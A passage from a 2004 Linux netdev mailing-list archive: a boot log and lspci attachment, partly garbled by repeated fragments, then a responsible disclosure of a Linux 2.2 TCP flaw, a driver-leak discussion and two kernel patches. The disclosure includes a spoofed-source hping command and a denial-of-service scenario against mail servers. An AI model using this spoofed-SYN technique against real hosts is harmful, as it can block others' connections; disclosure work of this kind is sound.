global_irq 9 low level) ACPI BALANCE SET Enabling APIC mode: Flat. Using 1 I/O APICs Using ACPI (MADT) for SMP configuration information Building zonelist for node : 0 current: c02c0a60 current->thread_info: c0324000 Initializing CPU#0 Kernel command line: BOOT_IMAGE=2.6.1-mm2 ro root=806 PID hash table entries: 2048 (order 11: 16384 bytes) Detected 2004.482 MHz processor. Using pmtmr for high-res timesource Console: colour VGA+ 80x25 Memory: 515736k/524224k available (1537k kernel code, 7740k reserved, 653k data, 152k init, 0k highmem) zapping low mappings. Calibrating delay loop... 1986.56 BogoMIPS Dentry cache hash table entries: 65536 (order: 6, 262144 bytes) Inode-cache hash table entries: 32768 (order: 5, 131072 bytes) Mount-cache hash table entries: 512 (order: 0, 4096 bytes) CPU: After generic identify, caps: 0383fbff c1c3fbff 00000000 00000000 CPU: After vendor identify, caps: 0383fbff c1c3fbff 00000000 00000000 CPU: CLK_CTL MSR was 6003d22f. Reprogramming to 2003d22f CPU: L1 I Cache: 64K (64 bytes/line), D cache 64K (64 bytes/line) CPU: L2 Cache: 256K (64 bytes/line) CPU: After all inits, caps: 0383fbff c1c3fbff 00000000 00000020 Intel machine check architecture supported. Intel machine check reporting enabled on CPU#0. CPU: AMD Athlon(tm) XP 2400+ stepping 01 Enabling fast FPU save and restore... done. Enabling unmasked SIMD FPU exception support... done. Checking 'hlt' instruction... OK. POSIX conformance testing by UNIFIX enabled ExtINT on CPU#0 ESR value before enabling vector: 00000080 ESR value after enabling vector: 00000000 ENABLING IO-APIC IRQs init IO_APIC IRQs IO-APIC (apicid-pin) 2-0, 2-16, 2-17, 2-18, 2-19, 2-20, 2-21, 2-22, 2-23 not connected. ..TIMER: vector=0x31 pin1=2 pin2=-1 Using local APIC timer interrupts. calibrating APIC timer ... ..... CPU clock speed is 2004.0307 MHz. ..... host bus clock speed is 267.0240 MHz. NET: Registered protocol family 16 PCI: PCI BIOS revision 2.10 entry at 0xfdb11, last bus=1 PCI: Using configuration type 1 mtrr: v2.0 (20020519) ACPI: Subsystem revision 20031203 IOAPIC[0]: Set PCI routing entry (2-9 -> 0x71 -> IRQ 9 Mode:1 Active:1) ACPI: Interpreter enabled ACPI: Using IOAPIC for interrupt routing ACPI: PCI Root Bridge [PCI0] (00:00) PCI: Probing PCI hardware (bus 00) ACPI: PCI Interrupt Routing Table [\_SB_.PCI0._PRT] ACPI: Power Resource [URP1] (off) ACPI: Power Resource [URP2] (off) ACPI: Power Resource [FDDP] (off) ACPI: Power Resource [LPTP] (off) ACPI: PCI Interrupt Link [LNKA] (IRQs 3 4 5 6 7 10 *11 12 14 15) ACPI: PCI Interrupt Link [LNKB] (IRQs 3 4 5 6 7 *10 11 12 14 15) ACPI: PCI Interrupt Link [LNKC] (IRQs 3 4 *5 6 7 10 11 12 14 15) ACPI: PCI Interrupt Link [LNKD] (IRQs 3 4 *5 6 7 10 11 12 14 15) ACPI: PCI Interrupt Link [LNKE] (IRQs 3 4 5 6 7 10 11 12 14 15) ACPI: PCI Interrupt Link [LNKF] (IRQs 3 4 5 6 7 10 11 12 14 15) ACPI: PCI Interrupt Link [LNKG] (IRQs 3 4 5 6 7 10 11 12 14 15) ACPI: PCI Interrupt Link [LNKH] (IRQs 3 4 5 6 7 10 11 12 14 15) Linux Plug and Play Support v0.97 (c) Adam Belay PnPBIOS: Scanning system for PnP BIOS support... PnPBIOS: Found PnP BIOS installation structure at 0xc00f7900 PnPBIOS: PnP BIOS version 1.0, entry 0xf0000:0x67ab, dseg 0xf0000 PnPBIOS: 14 nodes reported by PnP BIOS; 14 recorded by driver SCSI subsystem initialized IOAPIC[0]: Set PCI routing entry (2-16 -> 0xa9 -> IRQ 16 Mode:1 Active:1) 00:00:01[A] -> 2-16 -> IRQ 169 IOAPIC[0]: Set PCI routing entry (2-17 -> 0xb1 -> IRQ 17 Mode:1 Active:1) 00:00:01[B] -> 2-17 -> IRQ 177 IOAPIC[0]: Set PCI routing entry (2-20 -> 0xb9 -> IRQ 20 Mode:1 Active:1) 00:00:11[A] -> 2-20 -> IRQ 185 IOAPIC[0]: Set PCI routing entry (2-22 -> 0xc1 -> IRQ 22 Mode:1 Active:1) 00:00:11[C] -> 2-22 -> IRQ 193 Pin 2-16 already programmed Pin 2-17 already programmed IOAPIC[0]: Set PCI routing entry (2-18 -> 0xc9 -> IRQ 18 Mode:1 Active:1) 00:00:05[C] -> 2-18 -> IRQ 201 IOAPIC[0]: Set PCI routing entry (2-19 -> 0xd1 -> IRQ 19 Mode:1 Active:1) 00:00:05[D] -> 2-19 -> IRQ 209 Pin 2-17 already programmed Pin 2-18 already programmed Pin 2-19 already programmed Pin 2-16 already programmed Pin 2-19 already programmed Pin 2-16 already programmed Pin 2-17 already programmed Pin 2-18 already programmed Pin 2-18 already programmed Pin 2-19 already programmed Pin 2-16 already programmed Pin 2-17 already programmed Pin 2-17 already programmed Pin 2-18 already programmed Pin 2-19 already programmed Pin 2-16 already programmed Pin 2-19 already programmed Pin 2-17 already programmed IOAPIC[0]: Set PCI routing entry (2-21 -> 0xd9 -> IRQ 21 Mode:1 Active:1) 00:00:10[A] -> 2-21 -> IRQ 217 Pin 2-21 already programmed Pin 2-21 already programmed Pin 2-21 already programmed IOAPIC[0]: Set PCI routing entry (2-23 -> 0xe1 -> IRQ 23 Mode:1 Active:1) 00:00:12[A] -> 2-23 -> IRQ 225 Pin 2-18 already programmed Pin 2-20 already programmed Pin 2-20 already programmed Pin 2-20 already programmed Pin 2-20 already programmed number of MP IRQ sources: 15. number of IO-APIC #2 registers: 24. testing the IO APIC....................... IO APIC #2...... .... register #00: 02000000 ....... : physical APIC id: 02 ....... : Delivery Type: 0 ....... : LTS : 0 .... register #01: 00178003 ....... : max redirection entries: 0017 ....... : PRQ implemented: 1 ....... : IO APIC version: 0003 .... IRQ redirection table: NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect: 00 000 00 1 0 0 0 0 0 0 00 01 001 01 0 0 0 0 0 1 1 39 02 001 01 0 0 0 0 0 1 1 31 03 001 01 0 0 0 0 0 1 1 41 04 001 01 0 0 0 0 0 1 1 49 05 001 01 0 0 0 0 0 1 1 51 06 001 01 0 0 0 0 0 1 1 59 07 001 01 0 0 0 0 0 1 1 61 08 001 01 0 0 0 0 0 1 1 69 09 001 01 0 1 0 1 0 1 1 71 0a 001 01 0 0 0 0 0 1 1 79 0b 001 01 0 0 0 0 0 1 1 81 0c 001 01 0 0 0 0 0 1 1 89 0d 001 01 0 0 0 0 0 1 1 91 0e 001 01 0 0 0 0 0 1 1 99 0f 001 01 0 0 0 0 0 1 1 A1 10 001 01 1 1 0 1 0 1 1 A9 11 001 01 1 1 0 1 0 1 1 B1 12 001 01 1 1 0 1 0 1 1 C9 13 001 01 1 1 0 1 0 1 1 D1 14 001 01 1 1 0 1 0 1 1 B9 15 001 01 1 1 0 1 0 1 1 D9 16 001 01 1 1 0 1 0 1 1 C1 17 001 01 1 1 0 1 0 1 1 E1 IRQ to pin mappings: IRQ0 -> 0:2 IRQ1 -> 0:1 IRQ3 -> 0:3 IRQ4 -> 0:4 IRQ5 -> 0:5 IRQ6 -> 0:6 IRQ7 -> 0:7 IRQ8 -> 0:8 IRQ9 -> 0:9-> 0:9 IRQ10 -> 0:10 IRQ11 -> 0:11 IRQ12 -> 0:12 IRQ13 -> 0:13 IRQ14 -> 0:14 IRQ15 -> 0:15 IRQ16 -> 0:16 IRQ17 -> 0:17 IRQ18 -> 0:18 IRQ19 -> 0:19 IRQ20 -> 0:20 IRQ21 -> 0:21 IRQ22 -> 0:22 IRQ23 -> 0:23 .................................... done. PCI: Using ACPI for IRQ routing PCI: if you experience problems, try using option 'pci=noacpi' or even 'acpi=off' Machine check exception polling timer started. ikconfig 0.7 with /proc/config* Initializing Cryptographic API PCI: Via IRQ fixup for 0000:00:10.3, from 10 to 9 PCI: Via IRQ fixup for 0000:00:10.2, from 10 to 9 PCI: Via IRQ fixup for 0000:00:10.1, from 11 to 9 PCI: Via IRQ fixup for 0000:00:10.0, from 11 to 9 ACPI: Power Button (FF) [PWRF] ACPI: Sleep Button (CM) [SLPB] ACPI: Processor [CPU1] (supports C1) pty: 256 Unix98 ptys configured libata version 0.81 loaded. sata_via version 0.11 ata1: SATA max UDMA/133 cmd 0xE800 ctl 0xE402 bmdma 0xD800 irq 185 ata2: SATA max UDMA/133 cmd 0xE000 ctl 0xDC02 bmdma 0xD808 irq 185 ata1: dev 0 cfg 49:2f00 82:7c6b 83:7f09 84:4003 85:7c69 86:3e01 87:4003 88:407f ata1: dev 0 ATA, max UDMA/133, 320173056 sectors (lba48) ata1: dev 0 configured for UDMA/133 scsi0 : sata_via ATA: abnormal status 0x7F on port 0xE007 ata2: thread exiting scsi1 : sata_via Using anticipatory io scheduler Vendor: ATA Model: Maxtor 6Y160M0 Rev: 0.81 Type: Direct-Access ANSI SCSI revision: 05 SCSI device sda: 320173056 512-byte hdwr sectors (163929 MB) SCSI device sda: drive cache: write through sda: sda1 sda2 sda3 < sda5 sda6 sda7 > Attached scsi disk sda at scsi0, channel 0, id 0, lun 0 mice: PS/2 mouse device common for all mice serio: i8042 AUX port at 0x60,0x64 irq 12 input: PS2++ Logitech Wheel Mouse on isa0060/serio1 serio: i8042 KBD port at 0x60,0x64 irq 1 input: AT Translated Set 2 keyboard on isa0060/serio0 NET: Registered protocol family 2 IP: routing cache hash table of 4096 buckets, 32Kbytes TCP: Hash tables configured (established 32768 bind 65536) NET: Registered protocol family 1 NET: Registered protocol family 17 PM: Reading pmdisk image. PM: Resume from disk failed. ACPI: (supports S0 S1 S4 S5) kjournald starting. Commit interval 5 seconds EXT3-fs: mounted filesystem with ordered data mode. VFS: Mounted root (ext3 filesystem) readonly. Freeing unused kernel memory: 152k freed Adding 1951856k swap on /dev/sda7. Priority:-1 extents:1 EXT3 FS on sda6, internal journal Real Time Clock Driver v1.12 Linux agpgart interface v0.100 (c) Dave Jones agpgart: Detected VIA KT400/KT400A/KT600 chipset agpgart: Maximum main memory to use for agp memory: 439M agpgart: AGP aperture is 128M @ 0xe0000000 Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2 ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx VP_IDE: IDE controller at PCI slot 0000:00:0f.1 VP_IDE: chipset revision 6 VP_IDE: not 100% native mode: will probe irqs later ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx VP_IDE: VIA vt8237 (rev 00) IDE UDMA133 controller on pci0000:00:0f.1 ide0: BM-DMA at 0xfc00-0xfc07, BIOS settings: hda:DMA, hdb:pio ide1: BM-DMA at 0xfc08-0xfc0f, BIOS settings: hdc:DMA, hdd:pio hda: HL-DT-ST GCE-8520B, ATAPI CD/DVD-ROM drive ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 hdc: ASUS DVD-ROM E612, ATAPI CD/DVD-ROM drive ide1 at 0x170-0x177,0x376 on irq 15 Module via82cxxx cannot be unloaded due to unsafe usage in include/linux/module.h:483 Linux video capture interface: v1.00 bttv: driver version 0.9.12 loaded bttv: using 8 buffers with 2080k (520 pages) each for capture bttv: Bt8xx card found (0). bttv0: Bt878 (rev 17) at 0000:00:07.0, irq: 209, latency: 32, mmio: 0xdfdfe000 bttv0: detected: Hauppauge WinTV [card=10], PCI subsystem ID is 0070:13eb bttv0: using: Hauppauge (bt878) [card=10,autodetected] bttv0: Hauppauge/Voodoo msp34xx: reset line init [5] registering 0-0050 bttv0: Hauppauge eeprom: model=44354, tuner=Philips FM1216 (5), radio=yes bttv0: using tuner=5 bttv0: i2c: checking for MSP34xx @ 0x80... found msp34xx: init: chip=MSP3415G-B8 +nicam +simple +radio msp3410: daemon started registering 0-0040 bttv0: i2c: checking for TDA9875 @ 0xb0... not found bttv0: i2c: checking for TDA7432 @ 0x8a... not found tvaudio: TV audio decoder + audio/video mux driver tvaudio: known chips: tda9840,tda9873h,tda9874h/a,tda9850,tda9855,tea6300,tea6420,tda8425,pic16c54 (PV951),ta8874z tuner: chip found @ 0xc2 tuner: type set to 5 (Philips PAL_BG (FI1216 and compatibles)) registering 0-0061 bttv0: registered device video0 bttv0: registered device vbi0 bttv0: registered device radio0 bttv0: PLL: 28636363 => 35468950 .. ok tg3.c:v2.5 (December 22, 2003) eth0: Tigon3 [partno(BCM95705A50) rev 3003 PHY(5705)] (PCI:33MHz:32-bit) 10/100/1000BaseT Ethernet 00:0c:76:57:8d:7a device-mapper: 4.0.0-ioctl (2003-06-04) initialised: dm@uk.sistina.com kjournald starting. Commit interval 5 seconds EXT3-fs warning: maximal mount count reached, running e2fsck is recommended EXT3 FS on dm-1, internal journal EXT3-fs: mounted filesystem with ordered data mode. kjournald starting. Commit interval 5 seconds EXT3-fs warning: maximal mount count reached, running e2fsck is recommended EXT3 FS on dm-0, internal journal EXT3-fs: mounted filesystem with ordered data mode. NTFS driver 2.1.5 [Flags: R/W MODULE]. NTFS volume version 3.1. drivers/usb/core/usb.c: registered new driver usbfs drivers/usb/core/usb.c: registered new driver hub ehci_hcd 0000:00:10.4: EHCI Host Controller ehci_hcd 0000:00:10.4: irq 217, pci mem e09dd600 ehci_hcd 0000:00:10.4: new USB bus registered, assigned bus number 1 ehci_hcd 0000:00:10.4: USB 2.0 enabled, EHCI 1.00, driver 2003-Jun-13 hub 1-0:1.0: USB hub found hub 1-0:1.0: 8 ports detected ohci_hcd: 2003 Oct 13 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI) ohci_hcd: block sizes: ed 64 td 64 drivers/usb/host/uhci-hcd.c: USB Universal Host Controller Interface driver v2.1 uhci_hcd 0000:00:10.0: UHCI Host Controller uhci_hcd 0000:00:10.0: irq 217, io base 0000bc00 uhci_hcd 0000:00:10.0: new USB bus registered, assigned bus number 2 hub 2-0:1.0: USB hub found hub 2-0:1.0: 2 ports detected uhci_hcd 0000:00:10.1: UHCI Host Controller uhci_hcd 0000:00:10.1: irq 217, io base 0000c000 uhci_hcd 0000:00:10.1: new USB bus registered, assigned bus number 3 hub 3-0:1.0: USB hub found hub 3-0:1.0: 2 ports detected uhci_hcd 0000:00:10.2: UHCI Host Controller uhci_hcd 0000:00:10.2: irq 217, io base 0000c400 uhci_hcd 0000:00:10.2: new USB bus registered, assigned bus number 4 hub 4-0:1.0: USB hub found hub 4-0:1.0: 2 ports detected uhci_hcd 0000:00:10.3: UHCI Host Controller uhci_hcd 0000:00:10.3: irq 217, io base 0000c800 uhci_hcd 0000:00:10.3: new USB bus registered, assigned bus number 5 hub 5-0:1.0: USB hub found hub 5-0:1.0: 2 ports detected request_module: failed /sbin/modprobe -- net-pf-20. error = 256 tg3: eth0: Link is up at 100 Mbps, full duplex. tg3: eth0: Flow control is on for TX and on for RX. nfs warning: mount version older than kernel nfs warning: mount version older than kernel request_module: failed /sbin/modprobe -- char-major-4-64. error = 256 Serial: 8250/16550 driver $Revision: 1.90 $ 8 ports, IRQ sharing enabled ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A --nextPart1181838.TEsOKFeMFJ Content-Type: text/plain; name="lspci.log" Content-Transfer-Encoding: 8Bit Content-Disposition: attachment; filename="lspci.log" 00:00.0 Host bridge: VIA Technologies, Inc. VT8377 [KT400 AGP] Host Bridge (rev 80) Subsystem: VIA Technologies, Inc.: Unknown device 0000 Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz+ UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- Reset- FastB2B- Capabilities: [80] Power Management version 2 Flags: PMEClk- DSI- D1+ D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- 00:06.0 Multimedia audio controller: Creative Labs SB Live! EMU10k1 (rev 06) Subsystem: Creative Labs CT4832 SBLive! Value Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- ; Mon, 12 Jan 2004 12:24:34 -0800 Received: from localhost (cadence@localhost) by rubycon.man.szczecin.pl (8.10.0/8.10.0) with ESMTP id i0CKO1Y20070; Mon, 12 Jan 2004 21:24:07 +0100 Date: Mon, 12 Jan 2004 21:24:01 +0100 (CET) From: Tomasz Grabowski To: Paul.Russell@rustcorp.com.au cc: Alan.Cox@linux.org, netdev@oss.sgi.com, jmorris@intercode.com.au, cert@cert.org Subject: Security bug in 2.2 kernel series Message-ID: X-Hidden: The Progress only comes through struggle MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2363 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cadence@rubycon.man.szczecin.pl Precedence: bulk X-list: netdev Content-Length: 3328 Lines: 76 Hello. I found security bug in TCP/IP stack implementation in Linux 2.2. kernel series. Short description: Machine A is sending SYN packet to machine B, which is running linux kernel version 2.2. Machine B is responding with SYN+ACK packet and is waiting for ACK packet from machine A. So far everything is good. Now, machine A is sending another SYN packet with same source and destination address and same source and destination port. Machine B should respond with RST packet and drop that connection. Unfortunatelly, kernel 2.2 is accepting that second SYN packet, setting up another socket for it in SYN_RECV state and responding with another SYN+ACK packet which differ from the original one only by another Initial Sequence Number. Now, machine A can send many such SYN packets, and machine B will set up sockets for every one of them. My first thought was that it could be used for birthday paradox attacks for ISN guessing, but it turned out that only the first generated sequence number (i.e. the first SYN+ACK generated in reply to first SYN packet) is the right one. If you will send ACK packet with sequence number generated in other SYN+ACK packets it will be dropped anyway. So, it can't be used to birthday paradox attacks. But it can be used to carry out DoS attacks. Attack scenario: A is machine with mail service on port 25, running kernel 2.2 B is machine which is trying to send mail to machine A. Attacker is trying to prevent machine B from sending mail to machine A. If attacker will be able to predict the source port which machine B will use to connect to machine's A mail service, he can set up a 'trap' by sending SYN packet(s) to machine A port 25 with spoofed source host address and port number of machine B. Predicting source port number isn't hard in many environments as it is mostly a number from fixed range of well-known ports. The impact is much greater in applications that are connecting from particular (e.g. priviledged) source ports. I'm currently in the middle of developing convenient exploit for this vulnerability. It's working well in my laboratory but I will need to make it more robust so it will be possible to check for that vulnerabilty in production servers. I want to check more services and more environments to assure that my exploit will work well in different enviroments. For now, you can very easilly reconstruct this kernel behavior with 'hping': hping 10.20.20.20 -p 80 -s 20000 -a 10.10.10.10 -S -c 1 [do it few times] 10.20.20.20:~# netstat -an|grep 10.10.10.10 tcp 0 0 10.20.20.20:80 10.10.10.10:20000 SYN_RECV tcp 0 0 10.20.20.20:80 10.10.10.10:20000 SYN_RECV tcp 0 0 10.20.20.20:80 10.10.10.10:20000 SYN_RECV tcp 0 0 10.20.20.20:80 10.10.10.10:20000 SYN_RECV I think that the patch is very easy, althought I'm not kernel developer and I'm not even trying to make one myself. Could you tell me when you will be able to provide a patch? Of course I will not let the exploit leak out until you will provide fully tested patch. If you have any questions or comments regarding this bug, do not hesitate to contact me. Best regards, -- Tomasz Grabowski Technical University of Szczecin, +48 (91)4494234 Academic Centre of Computer Science www.man.szczecin.pl From olof@austin.ibm.com Mon Jan 12 12:49:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 12:49:21 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CKn26H032557 for ; Mon, 12 Jan 2004 12:49:02 -0800 Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.195.12]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0CKmt19523008; Mon, 12 Jan 2004 15:48:55 -0500 Received: from austin.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay03.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0CKmqVo083706; Mon, 12 Jan 2004 13:48:54 -0700 Received: from austin.ibm.com (olof@olof.austin.ibm.com [9.53.85.118]) by austin.ibm.com (8.12.10/8.12.10) with ESMTP id i0CKmq8t037178; Mon, 12 Jan 2004 14:48:52 -0600 Message-ID: <400307ED.3060900@austin.ibm.com> Date: Mon, 12 Jan 2004 14:47:41 -0600 From: Olof Johansson User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031221 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com, cramerj , milliner@us.ibm.com Subject: Re: [2.4] e1000 leaking pci mappings on rx errors? References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2364 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: olof@austin.ibm.com Precedence: bulk X-list: netdev Content-Length: 1214 Lines: 36 Feldman, Scott wrote: >>We have a machine here (running a RHEL 2.4.21-based kernel), >>that started showing leakage of PCI mappings when the driver >>was upgraded from 5.1.11 to 5.2.20. > > > Olof, please try 5.1.13 and 5.2.16 from sf.net/projects/e1000 to help > narrow the diff. I'm not seeing anything obvious in the diff between > 5.1.11 and 5.2.20 that would explain this. Scott, 5.1.13 is OK, 5.2.16 is leaking. Also, I noticed it's leaking quite fast, and even before any RX errors are shown. So my previous guess w.r.t. cause and effect might have been wrong: [root@primerib linux-2.4.21-6.EL-olof]# netstat -i Kernel Interface table Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg eth1 1500 0 54793 0 0 0 67048 0 0 0 BMRU ~6240 PCI mappings had been allocated with the above statistics (eth1 is the problematic interface in our case). -Olof -- Olof Johansson Office: 4F005/905 pSeries Linux Development IBM Systems Group Email: olof@austin.ibm.com Phone: 512-838-9858 All opinions are my own and not those of IBM From shemminger@osdl.org Mon Jan 12 13:46:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 13:47:13 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CLkw6H003872 for ; Mon, 12 Jan 2004 13:46:58 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0CLkjo05067; Mon, 12 Jan 2004 13:46:45 -0800 Date: Mon, 12 Jan 2004 13:46:45 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH] bridge use read_lock when scanning device list Message-Id: <20040112134645.461f125e.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2365 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 596 Lines: 22 On 2.6.1, bridge is using rtnl_shlock which is equivalent to rtnl_lock when all it really needs to do is read_lock(&dev_base_lock). diff -Nru a/net/bridge/br_if.c b/net/bridge/br_if.c --- a/net/bridge/br_if.c Mon Jan 12 13:45:44 2004 +++ b/net/bridge/br_if.c Mon Jan 12 13:45:44 2004 @@ -252,12 +252,12 @@ struct net_device *dev; int i = 0; - rtnl_shlock(); + read_lock(&dev_base_lock); for (dev = dev_base; dev && i < num; dev = dev->next) { if (dev->priv_flags & IFF_EBRIDGE) indices[i++] = dev->ifindex; } - rtnl_shunlock(); + read_unlock(&dev_base_lock); return i; } From shemminger@osdl.org Mon Jan 12 13:50:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 13:50:59 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CLoj6H004480 for ; Mon, 12 Jan 2004 13:50:46 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0CLoYo06250; Mon, 12 Jan 2004 13:50:34 -0800 Date: Mon, 12 Jan 2004 13:50:33 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] convert /proc/net/dev_mcast to seq_file Message-Id: <20040112135033.3b08f0e9.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2366 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3112 Lines: 132 Convert /proc/net/dev_mcast for 2.6 so it will work with large number of interfaces. diff -Nru a/net/core/dev_mcast.c b/net/core/dev_mcast.c --- a/net/core/dev_mcast.c Mon Jan 12 13:51:34 2004 +++ b/net/core/dev_mcast.c Mon Jan 12 13:51:34 2004 @@ -41,6 +41,7 @@ #include #include #include +#include #include #include #include @@ -219,59 +220,78 @@ } #ifdef CONFIG_PROC_FS -static int dev_mc_read_proc(char *buffer, char **start, off_t offset, - int length, int *eof, void *data) +static void *dev_mc_seq_start(struct seq_file *seq, loff_t *pos) { - off_t pos = 0, begin = 0; - struct dev_mc_list *m; - int len = 0; struct net_device *dev; + loff_t off = 0; read_lock(&dev_base_lock); for (dev = dev_base; dev; dev = dev->next) { - spin_lock_bh(&dev->xmit_lock); - for (m = dev->mc_list; m; m = m->next) { - int i; - - len += sprintf(buffer+len,"%-4d %-15s %-5d %-5d ", dev->ifindex, - dev->name, m->dmi_users, m->dmi_gusers); - - for (i = 0; i < m->dmi_addrlen; i++) - len += sprintf(buffer+len, "%02x", m->dmi_addr[i]); - - len += sprintf(buffer+len, "\n"); - - pos = begin + len; - if (pos < offset) { - len = 0; - begin = pos; - } - if (pos > offset + length) { - spin_unlock_bh(&dev->xmit_lock); - goto done; - } - } - spin_unlock_bh(&dev->xmit_lock); + if (off++ == *pos) + return dev; } - *eof = 1; + return NULL; +} -done: +static void *dev_mc_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct net_device *dev = v; + ++*pos; + return dev->next; +} + +static void dev_mc_seq_stop(struct seq_file *seq, void *v) +{ read_unlock(&dev_base_lock); - *start = buffer + (offset - begin); - len -= (offset - begin); - if (len > length) - len = length; - if (len < 0) - len = 0; - return len; } + + +static int dev_mc_seq_show(struct seq_file *seq, void *v) +{ + struct dev_mc_list *m; + struct net_device *dev = v; + + spin_lock_bh(&dev->xmit_lock); + for (m = dev->mc_list; m; m = m->next) { + int i; + + seq_printf(seq, "%-4d %-15s %-5d %-5d ", dev->ifindex, + dev->name, m->dmi_users, m->dmi_gusers); + + for (i = 0; i < m->dmi_addrlen; i++) + seq_printf(seq, "%02x", m->dmi_addr[i]); + + seq_putc(seq, '\n'); + } + spin_unlock_bh(&dev->xmit_lock); + return 0; +} + +static struct seq_operations dev_mc_seq_ops = { + .start = dev_mc_seq_start, + .next = dev_mc_seq_next, + .stop = dev_mc_seq_stop, + .show = dev_mc_seq_show, +}; + +static int dev_mc_seq_open(struct inode *inode, struct file *file) +{ + return seq_open(file, &dev_mc_seq_ops); +} + +static struct file_operations dev_mc_seq_fops = { + .owner = THIS_MODULE, + .open = dev_mc_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release, +}; + #endif void __init dev_mcast_init(void) { -#ifdef CONFIG_PROC_FS - create_proc_read_entry("net/dev_mcast", 0, 0, dev_mc_read_proc, NULL); -#endif + proc_net_fops_create("dev_mcast", 0, &dev_mc_seq_fops); } EXPORT_SYMBOL(dev_mc_add); From romieu@fr.zoreil.com Mon Jan 12 14:12:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 14:12:55 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CMCX6H005429 for ; Mon, 12 Jan 2004 14:12:34 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0CMC5sW007987; Mon, 12 Jan 2004 23:12:05 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0CMC47E007986; Mon, 12 Jan 2004 23:12:04 +0100 Date: 